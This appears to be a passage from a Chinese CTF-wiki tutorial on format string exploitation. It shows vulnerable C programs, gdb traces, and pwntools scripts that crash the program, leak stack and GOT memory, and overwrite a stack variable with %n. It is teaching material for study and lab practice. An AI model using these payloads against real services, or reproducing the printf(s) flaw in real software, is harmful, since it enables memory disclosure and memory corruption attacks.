跳转至

利用

其實,在上一部分,我們展示了格式化字符串漏洞的兩個利用手段

  • 使程序崩潰,因爲%s對應的參數地址不合法的概率比較大。
  • 查看進程內容,根據%d,%f輸出了棧上的內容。

下面我們會對於每一方面進行更加詳細的解釋。

程序崩潰

通常來說,利用格式化字符串漏洞使得程序崩潰是最爲簡單的利用方式,因爲我們只需要輸入若干個%s即可

%s%s%s%s%s%s%s%s%s%s%s%s%s%s

這是因爲棧上不可能每個值都對應了合法的地址,所以總是會有某個地址可以使得程序崩潰。這一利用,雖然攻擊者本身似乎並不能控制程序,但是這樣卻可以造成程序不可用。比如說,如果遠程服務有一個格式化字符串漏洞,那麼我們就可以攻擊其可用性,使服務崩潰,進而使得用戶不能夠訪問。

泄露內存

利用格式化字符串漏洞,我們還可以獲取我們所想要輸出的內容。一般會有如下幾種操作

  • 泄露棧內存
    • 獲取某個變量的值
    • 獲取某個變量對應地址的內存
  • 泄露任意地址內存
    • 利用GOT表得到libc函數地址,進而獲取libc,進而獲取其它libc函數地址
    • 盲打,dump整個程序,獲取有用信息。

泄露棧內存

例如,給定如下程序

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

然後,我們簡單編譯一下

  leakmemory git:(master)  gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
leakmemory.c: In function ‘main’:
leakmemory.c:7:10: warning: format not a string literal and no format arguments [-Wformat-security]
   printf(s);
          ^

可以看出,編譯器指出了我們的程序中沒有給出格式化字符串的參數的問題。下面,我們來看一下,如何獲取對應的棧內存。

根據C語言的調用規則,格式化字符串函數會根據格式化字符串直接使用棧上自頂向上的變量作爲其參數(64位會根據其傳參的規則進行獲取)。這裏我們主要介紹32位。

獲取棧變量數值

首先,我們可以利用格式化字符串來獲取棧上變量的數值。我們可以試一下,運行結果如下

  leakmemory git:(master)  ./leakmemory
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
ffcfc400.000000c2.f765a6bb

可以看到,我們確實得到了一些內容。爲了更加細緻的觀察,我們利用GDB來調試一下,以便於驗證我們的想法,這裏刪除了一些不必要的信息,我們只關注代碼段以及棧。

首先,啓動程序,將斷點下在printf函數處

  leakmemory git:(master)  gdb leakmemory
gef➤  b printf
Breakpoint 1 at 0x8048330

之後,運行程序

gef➤  r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%08x.%08x.%08x

此時,程序等待我們的輸入,這時我們輸入%08x.%08x.%08x,然後敲擊回車,是程序繼續運行,可以看出程序首先斷在了第一次調用printf函數的位置

Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28  printf.c: 沒有那個文件或目錄.
────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
  0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
     0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf    <main+84> add esp, 0x20      $esp
0xffffccf0│+0x04: 0x08048563    "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10    "%08x.%08x.%08x"
0xffffcd04│+0x18: 0xffffcd10    "%08x.%08x.%08x"
0xffffcd08│+0x1c: 0x000000c2

可以看出,此時此時已經進入了printf函數中,棧中第一個變量爲返回地址,第二個變量爲格式化字符串的地址,第三個變量爲a的值,第四個變量爲b的值,第五個變量爲c的值,第六個變量爲我們輸入的格式化字符串對應的地址。繼續運行程序

gef➤  c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x

可以看出,程序確實輸出了每一個變量對應的數值,並且斷在了下一個printf處

Breakpoint 1, __printf (format=0xffffcd10 "%08x.%08x.%08x") at printf.c:28
28  in printf.c
───────────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
  0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
     0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce    <main+99> add esp, 0x10      $esp
0xffffcd00│+0x04: 0xffffcd10    "%08x.%08x.%08x"
0xffffcd04│+0x08: 0xffffcd10    "%08x.%08x.%08x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb    <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%08x.%08x.%08x"    $eax
0xffffcd14│+0x18: ".%08x.%08x"
0xffffcd18│+0x1c: "x.%08x"

此時,由於格式化字符串爲%x%x%x,所以,程序 會將棧上的0xffffcd04及其之後的數值分別作爲第一,第二,第三個參數按照int型進行解析,分別輸出。繼續運行,我們可以得到如下結果去,確實和想象中的一樣。

gef➤  c
Continuing.
ffffcd10.000000c2.f7e8b6bb[Inferior 1 (process 57077) exited normally]

當然,我們也可以使用%p來獲取數據,如下

%p.%p.%p
00000001.22222222.ffffffff.%p.%p.%p
0xfff328c0.0xc2.0xf75c46bb

這裏需要注意的是,並不是每次得到的結果都一樣 ,因爲棧上的數據會因爲每次分配的內存頁不同而有所不同,這是因爲棧是不對內存頁做初始化的。

需要注意的是,我們上面給出的方法,都是依次獲得棧中的每個參數,我們有沒有辦法直接獲取棧中被視爲第n+1個參數的值呢?肯定是可以的啦。方法如下

%n$x

利用如下的字符串,我們就可以獲取到對應的第n+1個參數的數值。爲什麼這裏要說是對應第n+1個參數呢?這是因爲格式化參數裏面的n指的是該格式化字符串對應的第n個輸出參數,那相對於輸出函數來說,就是第n+1個參數了。

這裏我們再次以gdb調試一下。

  leakmemory git:(master)  gdb leakmemory
gef➤  b printf
Breakpoint 1 at 0x8048330
gef➤  r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%3$x

Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28  printf.c: 沒有那個文件或目錄.

─────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
  0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
     0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
─────────────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf    <main+84> add esp, 0x20      $esp
0xffffccf0│+0x04: 0x08048563    "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10    "%3$x"
0xffffcd04│+0x18: 0xffffcd10    "%3$x"
0xffffcd08│+0x1c: 0x000000c2
gef➤  c
Continuing.
00000001.22222222.ffffffff.%3$x

Breakpoint 1, __printf (format=0xffffcd10 "%3$x") at printf.c:28
28  in printf.c
─────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
  0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
     0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
─────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce    <main+99> add esp, 0x10      $esp
0xffffcd00│+0x04: 0xffffcd10    "%3$x"
0xffffcd04│+0x08: 0xffffcd10    "%3$x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb    <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%3$x"      $eax
0xffffcd14│+0x18: 0xffffce00    0x00000001
0xffffcd18│+0x1c: 0x000000e0
gef➤  c
Continuing.
f7e8b6bb[Inferior 1 (process 57442) exited normally]

可以看出,我們確實獲得了printf的第4個參數所對應的值f7e8b6bb。

獲取棧變量對應字符串

此外,我們還可以獲得棧變量對應的字符串,這其實就是需要用到%s了。這裏還是使用上面的程序,進行gdb調試,如下

  leakmemory git:(master)  gdb leakmemory
gef➤  b printf
Breakpoint 1 at 0x8048330
gef➤  r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%s

Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28  printf.c: 沒有那個文件或目錄.
────────────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
  0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
     0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf    <main+84> add esp, 0x20      $esp
0xffffccf0│+0x04: 0x08048563    "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10    0xff007325 ("%s"?)
0xffffcd04│+0x18: 0xffffcd10    0xff007325 ("%s"?)
0xffffcd08│+0x1c: 0x000000c2
gef➤  c
Continuing.
00000001.22222222.ffffffff.%s

Breakpoint 1, __printf (format=0xffffcd10 "%s") at printf.c:28
28  in printf.c
──────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
  0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
     0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce    <main+99> add esp, 0x10      $esp
0xffffcd00│+0x04: 0xffffcd10    0xff007325 ("%s"?)
0xffffcd04│+0x08: 0xffffcd10    0xff007325 ("%s"?)
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb    <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: 0xff007325 ("%s"?)      $eax
0xffffcd14│+0x18: 0xffffce3c    0xffffd074    "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd18│+0x1c: 0x000000e0
gef➤  c
Continuing.
%s[Inferior 1 (process 57488) exited normally]

可以看出,在第二次執行printf函數的時候,確實是將0xffffcd04處的變量視爲字符串變量,輸出了其數值所對應的地址處的字符串。

當然,並不是所有這樣的都會正常運行,如果對應的變量不能夠被解析爲字符串地址,那麼,程序就會直接崩潰。

此外,我們也可以指定獲取棧上第幾個參數作爲格式化字符串輸出,比如我們指定第printf的第3個參數,如下,此時程序就不能夠解析,就崩潰了。

  leakmemory git:(master)  ./leakmemory
%2$s
00000001.22222222.ffffffff.%2$s
[1]    57534 segmentation fault (core dumped)  ./leakmemory

小技巧總結

  1. 利用%x來獲取對應棧的內存,但建議使用%p,可以不用考慮位數的區別。
  2. 利用%s來獲取變量所對應地址的內容,只不過有零截斷。
  3. 利用%order$x來獲取指定參數的值,利用%order$s來獲取指定參數對應地址的內容。

泄露任意地址內存

可以看出,在上面無論是泄露棧上連續的變量,還是說泄露指定的變量值,我們都沒能完全控制我們所要泄露的變量的地址。這樣的泄露固然有用,可是卻不夠強力有效。有時候,我們可能會想要泄露某一個libc函數的got表內容,從而得到其地址,進而獲取libc版本以及其他函數的地址,這時候,能夠完全控制泄露某個指定地址的內存就顯得很重要了。那麼我們究竟能不能這樣做呢?自然也是可以的啦。

我們再仔細回想一下,一般來說,在格式化字符串漏洞中,我們所讀取的格式化字符串都是在棧上的(因爲是某個函數的局部變量,本例中s是main函數的局部變量)。那麼也就是說,在調用輸出函數的時候,其實,第一個參數的值其實就是該格式化字符串的地址。我們選擇上面的某個函數調用爲例

Breakpoint 1, __printf (format=0xffffcd10 "%s") at printf.c:28
28  in printf.c
──────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
  0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
     0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce    <main+99> add esp, 0x10      $esp
0xffffcd00│+0x04: 0xffffcd10    0xff007325 ("%s"?)
0xffffcd04│+0x08: 0xffffcd10    0xff007325 ("%s"?)
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb    <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: 0xff007325 ("%s"?)      $eax
0xffffcd14│+0x18: 0xffffce3c    0xffffd074    "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd18│+0x1c: 0x000000e0

可以看出在棧上的第二個變量就是我們的格式化字符串地址0xffffcd10,同時該地址存儲的也確實是"%s"格式化字符串內容。

那麼由於我們可以控制該格式化字符串,如果我們知道該格式化字符串在輸出函數調用時是第幾個參數,這裏假設該格式化字符串相對函數調用爲第k個參數。那我們就可以通過如下的方式來獲取某個指定地址addr的內容。

addr%k$s

注: 在這裏,如果格式化字符串在棧上,那麼我們就一定確定格式化字符串的相對偏移,這是因爲在函數調用的時候棧指針至少低於格式化字符串地址8字節或者16字節。

下面就是如何確定該格式化字符串爲第幾個參數的問題了,我們可以通過如下方式確定

[tag]%p%p%p%p%p%p...

一般來說,我們會重複某個字符的機器字長來作爲tag,而後面會跟上若干個%p來輸出棧上的內容,如果內容與我們前面的tag重複了,那麼我們就可以有很大把握說明該地址就是格式化字符串的地址,之所以說是有很大把握,這是因爲不排除棧上有一些臨時變量也是該數值。一般情況下,極其少見,我們也可以更換其他字符進行嘗試,進行再次確認。這裏我們利用字符'A'作爲特定字符,同時還是利用之前編譯好的程序,如下

  leakmemory git:(master)  ./leakmemory
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
AAAA0xffaab1600xc20xf76146bb0x414141410x702570250x702570250x702570250x702570250x702570250x702570250x702570250x70250xffaab2240xf77360000xaec7%

由0x41414141處所在的位置可以看出我們的格式化字符串的起始地址正好是輸出函數的第5個參數,但是是格式化字符串的第4個參數。我們可以來測試一下

  leakmemory git:(master)  ./leakmemory
%4$s
00000001.22222222.ffffffff.%4$s
[1]    61439 segmentation fault (core dumped)  ./leakmemory

可以看出,我們的程序崩潰了,爲什麼呢?這是因爲我們試圖將該格式化字符串所對應的值作爲地址進行解析,但是顯然該值沒有辦法作爲一個合法的地址被解析,,所以程序就崩潰了。具體的可以參考下面的調試。

  0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
     0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
───────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484ce    <main+99> add esp, 0x10      $esp
0xffffcd10│+0x04: 0xffffcd20    "%4$s"
0xffffcd14│+0x08: 0xffffcd20    "%4$s"
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb    <handle_intel+107> add esp, 0x10
0xffffcd20│+0x14: "%4$s"      $eax
0xffffcd24│+0x18: 0xffffce00    0x00000000
0xffffcd28│+0x1c: 0x000000e0
───────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7e44670 → Name: __printf(format=0xffffcd20 "%4$s")
[#1] 0x80484ce → Name: main()
────────────────────────────────────────────────────────────────────────────────
gef➤  help x/
Examine memory: x/FMT ADDRESS.
ADDRESS is an expression for the memory address to examine.
FMT is a repeat count followed by a format letter and a size letter.
Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
  t(binary), f(float), a(address), i(instruction), c(char), s(string)
  and z(hex, zero padded on the left).
Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).
The specified number of objects of the specified size are printed
according to the format.

Defaults for format and size letters are those previously used.
Default count is 1.  Default address is following last thing printed
with this command or "print".
gef➤  x/x 0xffffcd20
0xffffcd20: 0x73243425
gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x08049000 0x0804a000 0x00000000 r-- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804a000 0x0804b000 0x00001000 rw- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804b000 0x0806c000 0x00000000 rw- [heap]
0xf7dfb000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fad000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so
0xf7fad000 0xf7fae000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7fb1000 0x00000000 rw-
0xf7fd3000 0xf7fd5000 0x00000000 rw-
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rw-
0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.23.so
0xffedd000 0xffffe000 0x00000000 rw- [stack]
gef➤  x/x 0x73243425
0x73243425: Cannot access memory at address 0x73243425

顯然0xffffcd20處所對應的格式化字符串所對應的變量值0x73243425並不能夠被改程序訪問,所以程序就自然崩潰了。

那麼如果我們設置一個可訪問的地址呢?比如說scanf@got,結果會怎麼樣呢?應該自然是輸出scanf對應的地址了。我們不妨來試一下。

首先,獲取scanf@got的地址,如下

這裏之所以沒有使用printf函數,是因爲scanf函數會對0a,0b,0c,00等字符有一些奇怪的處理,,導致無法正常讀入,,感興趣的可以試試。。。。

gef➤  got

/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory:     文件格式 elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a00c R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

下面我們利用pwntools構造payload如下

from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()

其中,我們使用gdb.attach(sh)來進行調試。當我們運行到第二個printf函數的時候(記得下斷點),可以看到我們的第四個參數確實指向我們的scanf的地址,這裏輸出

  0xf7615670 <printf+0>       call   0xf76ebb09 <__x86.get_pc_thunk.ax>
     0xf76ebb09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf76ebb0c <__x86.get_pc_thunk.ax+3> ret
      0xf76ebb0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf76ebb10 <__x86.get_pc_thunk.dx+3> ret
───────────────────────────────────────────────────────────────────[ stack ]────
['0xffbbf8dc', 'l8']
8
0xffbbf8dc+0x00: 0x080484ce    <main+99> add esp, 0x10      $esp
0xffbbf8e0+0x04: 0xffbbf8f0    0x0804a014    0xf76280c0    <__isoc99_scanf+0> push ebp
0xffbbf8e4+0x08: 0xffbbf8f0    0x0804a014    0xf76280c0    <__isoc99_scanf+0> push ebp
0xffbbf8e8+0x0c: 0x000000c2
0xffbbf8ec+0x10: 0xf765c6bb    <handle_intel+107> add esp, 0x10
0xffbbf8f0+0x14: 0x0804a014    0xf76280c0    <__isoc99_scanf+0> push ebp   $eax
0xffbbf8f4+0x18: "%4$s"
0xffbbf8f8+0x1c: 0x00000000

同時,在我們運行的terminal下

  leakmemory git:(master)  python exploit.py
[+] Starting local process './leakmemory': pid 65363
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
0x804a014
\x14\xa0\x0%4$s
[*] running in new terminal: /usr/bin/gdb -q  "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory" 65363
[+] Waiting for debugger: Done
0xf76280c0
[*] Switching to interactive mode
[*] Process './leakmemory' stopped with exit code 0 (pid 65363)
[*] Got EOF while reading in interactiv

我們確實得到了scanf的地址。

但是,並不是說所有的偏移機器字長的整數倍,可以讓我們直接相應參數來獲取,有時候,我們需要對我們輸入的格式化字符串進行填充,來使得我們想要打印的地址內容的地址位於機器字長整數倍的地址處,一般來說,類似於下面的這個樣子。

[padding][addr]

注意

我們不能直接在命令行輸入\x0c\xa0\x04\x08%4$s這是因爲雖然前面的確實是printf@got的地址,但是,scanf函數並不會將其識別爲對應的字符串,而是會將\,x,0,c分別作爲一個字符進行讀入。下面就是錯誤的例子。

0xffffccfc│+0x00: 0x080484ce    <main+99> add esp, 0x10    $esp
0xffffcd00│+0x04: 0xffffcd10    "\x0c\xa0\x04\x08%4$s"
0xffffcd04│+0x08: 0xffffcd10    "\x0c\xa0\x04\x08%4$s"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb    <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "\x0c\xa0\x04\x08%4$s"    $eax
0xffffcd14│+0x18: "\xa0\x04\x08%4$s"
0xffffcd18│+0x1c: "\x04\x08%4$s"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7e44670 → Name: __printf(format=0xffffcd10 "\\x0c\\xa0\\x04\\x08%4$s")
[#1] 0x80484ce → Name: main()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/x 0xffffcd10
0xffffcd10:   0x6330785c

覆蓋內存

上面,我們已經展示瞭如何利用格式化字符串來泄露棧內存以及任意地址內存,那麼我們有沒有可能修改棧上變量的值呢,甚至修改任意地址變量的內存呢?答案是可行的,只要變量對應的地址可寫,我們就可以利用格式化字符串來修改其對應的數值。這裏我們可以想一下格式化字符串中的類型

%n,不輸出字符,但是把已經成功輸出的字符個數寫入對應的整型指針參數所指的變量。

通過這個類型參數,再加上一些小技巧,我們就可以達到我們的目的,這裏仍然分爲兩部分,一部分爲覆蓋棧上的變量,第二部分爲覆蓋指定地址的變量。

這裏我們給出如下的程序來介紹相應的部分。

/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

makefile在對應的文件夾中。而無論是覆蓋哪個地址的變量,我們基本上都是構造類似如下的payload

...[overwrite addr]....%[overwrite offset]$n

其中...表示我們的填充內容,overwrite addr 表示我們所要覆蓋的地址,overwrite offset地址表示我們所要覆蓋的地址存儲的位置爲輸出函數的格式化字符串的第幾個參數。所以一般來說,也是如下步驟

  • 確定覆蓋地址
  • 確定相對偏移
  • 進行覆蓋

覆蓋棧內存

確定覆蓋地址

首先,我們自然是來想辦法知道棧變量c的地址。由於目前幾乎上所有的程序都開啓了aslr保護,所以棧的地址一直在變,所以我們這裏故意輸出了c變量的地址。

確定相對偏移

其次,我們來確定一下存儲格式化字符串的地址是printf將要輸出的第幾個參數()。 這裏我們通過之前的泄露棧變量數值的方法來進行操作。通過調試

  0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
     0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484d7    <main+76> add esp, 0x10      $esp
0xffffcd10│+0x04: 0xffffcd28    "%d%d"
0xffffcd14│+0x08: 0xffffcd8c    0x00000315
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb    <handle_intel+107> add esp, 0x10
0xffffcd20│+0x14: 0xffffcd4e    0xffff0000    0x00000000
0xffffcd24│+0x18: 0xffffce4c    0xffffd07a    "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd28│+0x1c: "%d%d"      $eax

我們可以發現在0xffffcd14處存儲着變量c的數值。繼而,我們再確定格式化字符串'%d%d'的地址0xffffcd28相對於printf函數的格式化字符串參數0xffffcd10的偏移爲0x18,即格式化字符串相當於printf函數的第7個參數,相當於格式化字符串的第6個參數。

進行覆蓋

這樣,第6個參數處的值就是存儲變量c的地址,我們便可以利用%n的特徵來修改c的值。payload如下

[addr of c]%012d%6$n

addr of c 的長度爲4,故而我們得再輸入12個字符纔可以達到16個字符,以便於來修改c的值爲16。

具體腳本如下

def forc():
    sh = process('./overwrite')
    c_addr = int(sh.recvuntil('\n', drop=True), 16)
    print hex(c_addr)
    payload = p32(c_addr) + '%012d' + '%6$n'
    print payload
    #gdb.attach(sh)
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

forc()

結果如下

  overwrite git:(master)  python exploit.py
[+] Starting local process './overwrite': pid 74806
0xfffd8cdc
܌��%012d%6$n
܌��-00000160648modified c.

覆蓋任意地址內存

覆蓋小數字

首先,我們來考慮一下如何修改data段的變量爲一個較小的數字,比如說,小於機器字長的數字。這裏以2爲例。可能會覺得這其實沒有什麼區別,可仔細一想,真的沒有麼?如果我們還是將要覆蓋的地址放在最前面,那麼將直接佔用機器字長個(4或8)字節。顯然,無論之後如何輸出,都只會比4大。

